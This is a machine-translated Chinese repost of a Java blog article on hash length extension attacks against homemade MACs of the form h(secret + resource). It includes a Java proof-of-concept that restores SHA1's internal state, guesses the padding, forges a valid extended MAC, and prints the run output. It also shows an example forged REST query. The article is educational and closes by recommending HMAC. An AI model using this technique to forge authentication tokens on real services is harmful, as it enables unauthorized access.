哈希扩展长度攻击_哈希长度扩展攻击

哈希扩展长度攻击

在这篇文章中,我将尽力避免夏季的低迷,而将重点放在比抱怨天气更有趣的事情上-哈希长度扩展攻击。

散列长度扩展攻击并不复杂也不复杂,说实话,这只是关于如何使用散列函数。 正如我以前的一篇文章中所讨论的那样,哈希函数有多种类型,但是这篇文章着重于加密哈希函数。 我们将不分析大多数当前加密哈希函数所基于的Merkle–Damgard构造的结构。 需要了解的事实如下:

  • 哈希函数以固定的块大小运行
  • 输入数据被分割成适合块大小的部分
  • 如果输入数据(或其一部分)小于块大小,则会填充缺少的字节
  • 哈希值表示哈希函数的内部状态!

这意味着即使原始输入仍然未知,也可以选择在知道哈希值的情况下继续进行哈希计算。 唯一要做的就是将哈希函数的内部状态重置为哈希值之一。

这只是事实的一半,因为如果我们不知道输入数据,就不知道需要多少填充来完成哈希操作。

哈希函数执行了以下操作(在例如调用Java engineDigest()之后):
继续直到到达最后一个块

  • 垫最后一块
  • 输出摘要
  • 重置内部状态

真正散列的是这样的东西

h(m)=数据+填充

如果我们想继续散列,我们必须猜测数据的长度,以确定确切的填充。 一旦我们猜出了正确的长度,就可以将哈希扩展到以下内容

h(m)=(数据+填充)+ ourExtension + newPadding

幸运的是,填充格式必须是确定性的(以便通过传递相同的输入数据来重新创建哈希值),因此知道数据的长度就可以重新填充。 完成这些步骤后,在输出摘要时,我们便具有哈希函数的完整内部状态。

如何使用

2009年, Rizzo和Duong使用哈希长度扩展攻击来危害Flickr 。 为了简单起见,我们进行以下假设:

Web服务通过基于哈希函数计算某种消息身份验证代码(MAC)来保护其REST API

MAC = h(SECRET_PASSWORD +资源)

对受保护资源的有效REST查询如下所示

http://…/ someAction?resource = validMACsOnly&mac = xxxxxxxx

如果附加的MAC有效,则用户只能对资源执行所需的操作。 通过尝试猜测秘密密码来进行攻击似乎是一种蛮力任务……

攻击

有了如何扩展哈希值的知识,就可以在不知道秘密密码的情况下提供有效的MAC。 为此,在输出摘要时,必须使用内部状态重置使用的哈希函数。 因此,我们将mac参数的值设置为哈希函数的内部状态。 有了这些前提条件,我们就能计算出有效的MAC。

但这只是一半,因为服务器仅在所计算的MAC属于所传递的资源参数时才授予访问权限。 因此,下一步,我们必须猜测原始填充。 要获得该填充,我们只需尝试所有可能的填充,直到其中之一适合为止。

如果我们设法正确填充,我们就完成了。 因此,在进行旧的填充(填充已知块大小的块是必需的)之后,我们开始在新的块中进行。 因此,服务器验证以下内容

h(m)=(oldData + recoveryPadding)+(ourExtension + newPadding)请记住,h(m)=(oldData + recoveryPadding)是导致已知MAC的旧数据。 扩展数据从新块开始,这意味着旧填充被视为输入数据的一部分,而不是填充。

修改后的查询如下所示:

http://…/ someAction?resource = validMACsOnly \ x80 \ x00…\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD8&mac = xxxxxxxx

填充上的一些单词:

  • 填充以\ x80开头
  • 所需的填充空间用\ x00s填充
  • 最后8个字节代表数据长度(无填充)

对于渴望使用此功能的每个人,这里是计算有效扩展的代码。 对于PoC,修补了通用的SHA1库以访问其内部状态。 修改后的类来自Java安全提供程序。

import java.nio.charset.Charset;
import java.security.DigestException;
import java.util.Formatter;

/**
 * Hash length extension attack - PoC.
 *
 * @author Christopher Meyer - christopher.meyer@rub.de
 * @version 0.1
 *
 * Jul 25, 2012
 */
public class HashLengthExtension {

    /**
     * Secret key.
     */
    private static final String KEY = "NoNeedToRecoverKey";
    /**
     * String to be MACed together with the key.
     */
    private static final String TOMAC = "SecuredResource";
    /**
     * Extension string to be added to the MAC.
     */
    private static final String EXTENSION = "TheResourceRemainsUnsecured";
    /**
     * Static Hash algorithm instance.
     */
    private static final SHA1 HASH_ALGO = new SHA1();
    /**
     * Blocksize of the algorithm in bytes.
     */
    private static final int BLOCKSIZE = 64;
    /**
     * Padding.
     */
    private static final byte[] PADDING = new byte[136];

    static {
        // the first padding byte is 0x80 - by definition
        PADDING[0] = (byte) 0x80;
    }

    /**
     * Computes a valid input that extends a given hash.
     *
     * @param args the command line arguments
     */
    public static void main(String[] args) throws DigestException {
        byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8"));
        byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8"));
        byte[] originalMAC = createMAC(toMACBytes);
        System.out.println("Original MAC  : "
                + buildHexString(originalMAC));

        byte[] macCandidate;
        byte[] hashInput;
        int pointer = 0;

        System.out.println("Recover digest state...");
        HASH_ALGO.engineReset();
        // set internal state to the one of the original MAC
        HASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1],
                originalMAC[2], originalMAC[3]);
        HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5],
                originalMAC[6], originalMAC[7]);
        HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9],
                originalMAC[10], originalMAC[11]);
        HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13],
                originalMAC[14], originalMAC[15]);
        HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17],
                originalMAC[18], originalMAC[19]);
        HASH_ALGO.bytesProcessed = BLOCKSIZE;

        System.out.println("Compute extension MAC...");
        HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length);
        // compute the extended hash
        macCandidate = HASH_ALGO.engineDigest();
        System.out.println("Extended MAC  : "
                + buildHexString(macCandidate));

        System.out.println("Trying to find suitable input....");
        // determine the necessary input....
        int j = 0;
        for (int i = 1; i <= PADDING.length; i++) {
            hashInput = new byte[toMACBytes.length + i
                    + 8 + extensionBytes.length];
            pointer = 0;

            /**
             * Compute new input
             */
            // # add original message
            System.arraycopy(toMACBytes, 0, hashInput, pointer,
                    toMACBytes.length);
            pointer += toMACBytes.length;
            // # add padding
            System.arraycopy(PADDING, 0, hashInput, pointer, i);
            pointer += i;
            // # add length of user data (8 bytes)
            // j is the computed length of the original message in bits
            // (blockSize - padding length - 8 length bytes)
            j = (BLOCKSIZE - i - 8) << 3;
            // the first word is 0 in our case, due to only 32 bit int
            hashInput[pointer] = 0;
            hashInput[pointer + 1] = 0;
            hashInput[pointer + 2] = 0;
            hashInput[pointer + 3] = 0;
            hashInput[pointer + 4] = (byte) ((j >>> 24));
            hashInput[pointer + 5] = (byte) ((j >>> 16));
            hashInput[pointer + 6] = (byte) ((j >>> 8));
            hashInput[pointer + 7] = (byte) (j);
            pointer += 8;
            // # add extension
            System.arraycopy(extensionBytes, 0, hashInput, pointer,
                    extensionBytes.length);
            pointer += extensionBytes.length;

            // # check guess
            if (isMACCorrect(macCandidate, hashInput)) {
                System.out.println("==> Hash input    : "
                        + buildHexString(hashInput));
                System.out.println("==> Padding Length: "
                        + i);
                System.out.println("==> Secret Length : "
                        + (BLOCKSIZE - toMACBytes.length - i - 8));
                break;
            }
        }
    }

    /**
     * Convert a byte[] to int.
     *
     * @param bytes 4 bytes array to be converted
     * @return Integer representation of the byte[]
     */
    private static int bytesToInt(byte... bytes) {
        return (int) ((0xFF & bytes[0]) << 24
                | (0xFF & bytes[1]) << 16
                | (0xFF & bytes[2]) << 8
                | (0xFF & bytes[3]));
    }

    /**
     * Checks if the input results creates the expected MAC.
     *
     * @param macToCheck Expected MAC
     * @param msg Modified input for MAC function (secret key remains unknown)
     * @return True if the modified input creates the expected MAC
     * @throws DigestException
     */
    private static final boolean isMACCorrect(final byte[] macToCheck,
            final byte[] msg) throws DigestException {
        boolean result = true;
        byte[] referenceHash = createMAC(msg);
        System.out.println("Reference hash: "
                + buildHexString(referenceHash));

        if (referenceHash.length != macToCheck.length) {
            result = false;
        } else {
            for (int i = 0; i < referenceHash.length; i++) {
                if (referenceHash[i] != macToCheck[i]) {
                    result = false;
                    break;
                }
            }
        }

        return result;
    }

    /**
     * Converts a byte[] to its Hex representation
     * @param bytes Bytes to be converted
     * @return Hex String of the passed byte[].
     */
    private static String buildHexString(byte[] bytes) {
        StringBuilder sb = new StringBuilder(bytes.length);
        Formatter formatter = new Formatter(sb);

        for (Byte tmpByte : bytes) {
            formatter.format("%02x ", tmpByte);
        }

        return sb.toString();
    }

    /**
     * Creates a weak MAC of the form h(secret + msg).
     *
     * @param msg Message to get MACed
     * @return Weak MAC
     * @throws DigestException
     */
    private static final byte[] createMAC(final byte[] msg) throws
            DigestException {
        byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8"));

        HASH_ALGO.engineReset();
        HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length);
        HASH_ALGO.engineUpdate(msg, 0, msg.length);
        return HASH_ALGO.engineDigest();
    }
}

运行上面的示例将创建以下输出:

跑:

Original MAC  : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8 
Recover digest state...
Compute extension MAC...
Extended MAC  : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
Trying to find suitable input....
Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d 
Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77 
Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9 
Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76 
Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a 
Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73 
Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68 
Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f 
Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7 
Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d 
Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b 
Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10 
Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac 
Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3 
Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d 
Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6 
Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2 
Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0 
Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a 
Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48 
Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1 
Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65 
Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65 
==> Hash input    : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08 
54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 65
64 
==> Padding Length: 23
==> Secret Length : 18

使用URL编码从hashInput生成的字符串为SecuredResource%80%01%08TheResourceRemainsUnsecured,原始资源,23个填充字节(包括%80),8个长度字节和新资源。 这样我们得到(64字节块大小– 23填充字节– 8个长度字节)* 8位= 264位原始数据(秘密+资源)== 01 08(十六进制表示)。

得到教训

不要通过创建自己的安全结构来滥用加密技术。 使用经过认可的功能和构造。 在这种情况下,使用HMAC功能将是更好的方法,而不是引入自己的MAC。

WhiteHat Security Blog上可以找到关于此主题的非常好的博客条目。

参考: Java安全和相关主题博客上的JCG合作伙伴 Christopher Meyer提出的哈希长度扩展攻击


翻译自: https://www.javacodegeeks.com/2012/07/hash-length-extension-attacks.html

哈希扩展长度攻击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值